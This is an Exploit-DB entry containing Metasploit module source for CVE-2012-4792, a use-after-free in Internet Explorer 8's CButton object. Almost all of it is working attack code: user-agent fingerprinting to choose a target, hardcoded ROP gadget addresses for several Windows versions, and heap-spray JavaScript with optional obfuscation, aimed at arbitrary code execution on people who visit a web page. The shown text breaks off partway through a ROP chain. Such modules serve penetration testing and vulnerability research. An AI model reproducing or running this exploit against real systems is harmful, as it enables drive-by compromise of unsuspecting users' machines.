Exploit-DB #23785
Description: Microsoft Internet Explorer - CButton Object Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2013-01-02
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "8.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => GoodRanking
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Microsoft Internet Explorer. A
				use-after-free condition occurs when a CButton object is freed, but a reference
				is kept and used again during a page reload, an invalid memory that's controllable
				is used, and allows arbitrary code execution under the context of the user.

					Please note: This vulnerability has been exploited in the wild targeting
				mainly China/Taiwan/and US-based computers.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'eromang',
					'mahmud ab rahman',
					'juan vazquez',      #Metasploit
					'sinn3r',            #Metasploit
					'Peter Vreugdenhil'  #New trigger & new exploit technique
				],
			'References'     =>
				[
					[ 'CVE', '2012-4792' ],
					[ 'US-CERT-VU', '154201' ],
					[ 'BID', '57070' ],
					[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
					[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
					[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
					[ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
				],
			'Payload'        =>
				{
					'BadChars'       => "\x00",
					'Space'          => 1024,
					'DisableNops'    => true
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
					[ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
					[ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
					[ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 27 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '5.2'
			os_name = 'Windows Server 2003'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		else
			# OS not supported
			return nil
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie8_smil(my_target, p)

		case my_target['Rop']
		when :msvcrt
			case my_target.name
			when 'IE 8 on Windows XP SP3'
				align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
				xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
			when 'IE 8 on Windows Server 2003'
				align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
				xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
			end
		else
			align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
			xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
		end

		padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
		js_payload = Rex::Text.to_unescape(p)

		js = %Q|
		unicorn = unescape("#{padding}");
		for (i=0; i < 3; i++) {
			unicorn += unescape("#{padding}");
		}

		unicorn += unescape("#{js_payload}");

		animvalues = unescape("#{align_esp}");

		for (i=0; i < 0xDC/4; i++) {
			if (i == 0xDC/4-1) {
				animvalues += unescape("#{xchg_esp}");
			}
			else {
				animvalues += unescape("#{align_esp}");
			}
		}

		animvalues += unicorn;

		for(i = 0; i < 21; i++) {
			animvalues += ";cyan";
		}
		|

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V")[0].to_i
	end

	def nop
		return make_nops(4).unpack("V")[0].to_i
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		case t['Rop']
		when :msvcrt
			case t.name
			when 'IE 8 on Windows XP SP3'
				rop_gadgets =
				[
					0x77c1e844, # POP EBP # RETN [msvcrt.dll]
					0x77c1e844, # skip 4 bytes [msvcrt.dll]
					0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
					0xffffffff,
					0x77c127e5